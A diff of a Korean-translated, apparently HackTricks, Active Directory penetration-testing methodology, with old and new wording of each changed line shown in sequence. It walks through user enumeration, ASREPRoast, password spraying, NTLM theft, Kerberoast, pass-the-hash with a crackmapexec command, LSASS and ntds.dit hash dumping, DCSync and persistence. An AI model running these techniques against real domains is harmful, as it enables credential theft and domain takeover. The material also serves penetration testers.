1. **도메인 서비스** 데이터 저장소를 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증****검색** 기능을 포함합니다.
2. **인증서 서비스** 안전한 **디지털 인증서**의 생성, 배포 및 관리를 감독합니다.
3. **경량 디렉토리 서비스** **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다.
4. **디렉토리 연합 서비스** 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다.
@ -41,7 +41,7 @@ AD를 열거하거나 **악용**하기 위해 실행할 수 있는 명령어를
AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다음을 수행할 수 있습니다:
- **네트워크 펜테스트:**
- 네트워크를 스캔하고, 기계와 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명**을 추출하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
- 네트워크를 스캔하고, 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명**을 추출하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
- DNS를 열거하면 도메인 내의 주요 서버에 대한 정보(웹, 프린터, 공유, VPN, 미디어 등)를 얻을 수 있습니다.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 이를 수행하는 방법에 대한 더 많은 정보를 찾으려면 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 참조하세요.
@ -76,7 +76,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
### User enumeration
- **익명 SMB/LDAP 열거:** [**펜테스팅 SMB**](../../network-services-pentesting/pentesting-smb/) 및 [**펜테스팅 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 페이지를 확인하세요.
- **익명 SMB/LDAP 열거:** [**펜테스팅 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 및 [**펜테스팅 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 페이지를 확인하세요.
- **Kerbrute 열거**: **유효하지 않은 사용자 이름이 요청되면** 서버는 **Kerberos 오류** 코드 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_를 사용하여 응답하며, 이를 통해 사용자 이름이 유효하지 않음을 확인할 수 있습니다. **유효한 사용자 이름**은 **AS-REP** 응답에서 **TGT**를 유도하거나 _KRB5KDC_ERR_PREAUTH_REQUIRED_ 오류를 나타내며, 이는 사용자가 사전 인증을 수행해야 함을 의미합니다.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -111,7 +111,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
좋습니다, 이미 유효한 사용자 이름이 있지만 비밀번호가 없다면... 다음을 시도해 보세요:
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 일부 데이터를 포함합니다.
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 아마도 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 것입니다 (비밀번호 정책을 염두에 두세요!).
- OWA 서버를 **스프레이**하여 사용자 메일 서버에 접근을 시도할 수도 있습니다.
@ -129,19 +129,19 @@ password-spraying.md
### NTML 릴레이
액티브 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTML [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다.
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTML [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다.
### NTLM 자격 증명 훔치기
### NTLM 자격 증명 도용
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 어떤 식으로든 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지**를 훔칠 수 있습니다:
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 어떤 식으로든 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지를 도용**할 수 있습니다:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 자격 증명/세션으로 액티브 디렉토리 열거하기
## 자격 증명/세션으로 활성 디렉토리 열거하기
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제시된 옵션들이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야 합니다.**
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야** 합니다.
인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다.
@ -151,31 +151,31 @@ kerberos-double-hop-problem.md
### 열거
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **액티브 디렉토리 열거**를 시작할 수 있습니다:
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다:
[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
[**ASREPRoast**](asreproast.md)와 관련하여 이제 가능한 모든 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info)
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/)할 수도 있으며, 이는 더 은밀할 것입니다.
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/index.html)할 수도 있으며, 이는 더 은밀합니다.
- [**powerview 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
- 액티브 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지는 않지만** (사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보아야 합니다. 사용자가 RDP할 수 있는 위치를 찾고, 다른 그룹으로 가는 경로를 찾는 등의 작업을 할 수 있습니다.
- 활성 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지는 않지만** (사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보아야 합니다. 사용자가 RDP할 수 있는 위치를 찾고, 다른 그룹으로 가는 경로를 찾는 등의 작업을 할 수 있습니다.
- **기타 자동화된 AD 열거 도구는:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD의 DNS 레코드**](ad-dns-records.md)도 흥미로운 정보를 포함할 수 있습니다.
- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다.
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword__unixUserPassword_ 필드에서 자격 증명을 찾거나, 심지어 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우, [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
- 자동화 도구로는 다음을 시도할 수 있습니다:
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword__unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
- 자동화 도구를 시도할 수도 있습니다:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **모든 도메인 사용자 추출하기**
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 다음을 사용할 수 있습니다: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
> 이 열거 섹션이 작아 보일지라도, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
### Kerberoast
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 얻고, 그 암호화를 크랙하는 것을 포함합니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 이루어집니다.
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 얻고, 그 암호화를 크랙하는 것입니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 수행됩니다.
자세한 내용은:
@ -185,17 +185,17 @@ kerberoast.md
### 원격 연결 (RDP, SSH, FTP, Win-RM 등)
자격 증명을 얻은 후, **어떤 머신**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
일단 자격 증명을 얻으면, 어떤 **기계**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
### 로컬 권한 상승
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 기계에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프**할 수 있기 때문입니다.
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
### 현재 세션 티켓
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮지만**, 확인해 볼 수 있습니다:
예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮지만**, 확인 수 있습니다:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -215,7 +215,7 @@ kerberoast.md
### NTLM 자격 증명 훔치기
다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **NTML 인증을 트리거하여** **NTLM 챌린지를 훔칠 수 있습니다**:
다른 PC나 공유에 **접근할 수 있다면**, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 어떤 방식으로든 접근되면 **당신에 대한 NTML 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다**:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -231,17 +231,17 @@ printnightmare.md
## 권한 상승: 특권 자격 증명/세션을 통한 Active Directory
**다음 기술을 수행하려면 일반 도메인 사용자로는 부족하며, 특별한 권한/자격 증명이 필요합니다.**
**다음 기술을 수행하려면 일반 도메인 사용자로는 부족하며, 이러한 공격을 수행하기 위해 특별한 권한/자격 증명이 필요합니다.**
### 해시 추출
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 및 릴레이를 포함하여 [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬 권한 상승](../windows-local-privilege-escalation/)을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**\
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬 권한 상승](../windows-local-privilege-escalation/index.html)을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**\
이제 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\
[**해시를 얻는 다양한 방법에 대해 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**해시를 얻는 다양한 방법에 대한 내용을 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 해시 전달
**사용자의 해시를 확보했다면**, 이를 사용하여 **사용자를 가장할 수 있습니다.**\
**사용자의 해시를 확보한 후**, 이를 사용하여 **사용자를 가장할 수 있습니다.**\
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때****해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 일입니다.\
[**자세한 정보는 이 페이지를 읽어보세요.**](../ntlm/index.html#pass-the-hash)
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL 남용 및 신뢰 링크
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우) NetNTLM **해시**를 **탈취**하거나 심지어 **릴레이** **공격**을 수행할 수 있습니다.\
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰되는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **릴레이** **공격**을 수행할 수 있습니다.\
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰되는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있습니다.\
**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.**
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, ACL을 통해 권한이 있는 사용자만 접근할 수 있도록 제어됩니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있으면, 다른 컴퓨터로 피벗할 수 있습니다.
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, ACL을 통해 권한이 있는 사용자만 접근할 수 있니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있으면, 다른 컴퓨터로 피벗할 수 있습니다.
{{#ref}}
laps.md
@ -362,13 +362,13 @@ ad-certificates/domain-escalation.md
### 도메인 자격 증명 덤프
**도메인 관리자** 또는 더 나 **엔터프라이즈 관리자** 권한을 얻으면, **도메인 데이터베이스**를 **덤프**할 수 있습니다: _ntds.dit_.
**도메인 관리자** 또는 더 나아가 **엔터프라이즈 관리자** 권한을 얻으면, **도메인 데이터베이스**를 **덤프**할 수 있습니다: _ntds.dit_.
[**DCSync 공격에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](dcsync.md).
[**NTDS.dit를 훔치는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 권한 상승을 한 지속성
### 권한 상승을 한 지속성
앞서 논의된 몇 가지 기술은 지속성에 사용될 수 있습니다.\
예를 들어, 다음과 같이 할 수 있습니다:
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 그룹
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위해 설계되었지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM 자격 증명
모든 **도메인 컨트롤러(DC)** 내에는 **로컬 관리자** 계정이 존재합니다. 이러한 머신에서 관리자 권한을 얻으면 **mimikatz**를 사용하여 로컬 관리자 해시를 추출할 수 있습니다. 이후, 이 비밀번호를 **사용할 수 있도록 활성화**하기 위해 레지스트리 수정을 해야 하며, 이를 통해 로컬 관리자 계정에 원격으로 접근할 수 있습니다.
모든 **도메인 컨트롤러(DC)** 내에는 **로컬 관리자** 계정이 존재합니다. 이러한 머신에서 관리자 권한을 얻으면, **mimikatz**를 사용하여 로컬 관리자 해시를 추출할 수 있습니다. 이후, 이 비밀번호를 **사용할 수 있도록 활성화**하기 위해 레지스트리 수정을 해야 하며, 이를 통해 로컬 관리자 계정에 원격으로 접근할 수 있습니다.
{{#ref}}
dsrm-credentials.md
@ -457,7 +457,7 @@ acl-persistence-abuse/
### 보안 설명자
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다.
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 될 필요 없이 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다.
{{#ref}}
security-descriptors.md
@ -483,7 +483,7 @@ custom-ssp.md
### DCShadow
AD에 **새 도메인 컨트롤러**를 등록하고 이를 사용하여 지정된 객체에 **속성**(SIDHistory, SPNs...)을 **푸시**합니다. 이 과정에서 **수정**에 대한 **로그**를 남기지 않습니다. **DA** 권한이 필요하며 **루트 도메인** 내에 있어야 합니다.\
잘못된 데이터를 사용하면 매우 불쾌한 로그가 나타날 수 있습니다.
잘못된 데이터를 사용하면, 매우 불쾌한 로그가 나타날 수 있습니다.
{{#ref}}
dcshadow.md
@ -504,7 +504,7 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
### 기본 정보
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 본질적으로 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC로부터 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
@ -528,20 +528,20 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
- **교차 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트까지 올라갔다가 목표 도메인으로 내려가야 합니다. 교차 링크를 생성함으로써 이 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인에서 리소스에 접근하는 데 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 강화됩니다.
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인 내의 리소스에 접근하는 데 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 강화됩니다.
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다.](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다.
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다.
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, SID 필터링을 통해 보안 조치를 강화합니다.
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경을 위해 설계되었습니다.
#### **신뢰 관계의 다른 차이점**
- 신뢰 관계는 **전이적**일 수 있습니다(A가 B를 신뢰하고 B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
- 신뢰 관계는 **전이적**일 수 있습니다(A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(오직 한 쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다.
### 공격 경로
1. **신뢰 관계를 열거**합니다.
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근할 수 있는지** 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요(신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요(신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다.
4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다.
@ -582,7 +582,7 @@ sid-history-injection.md
#### 쓰기 가능한 Configuration NC 악용
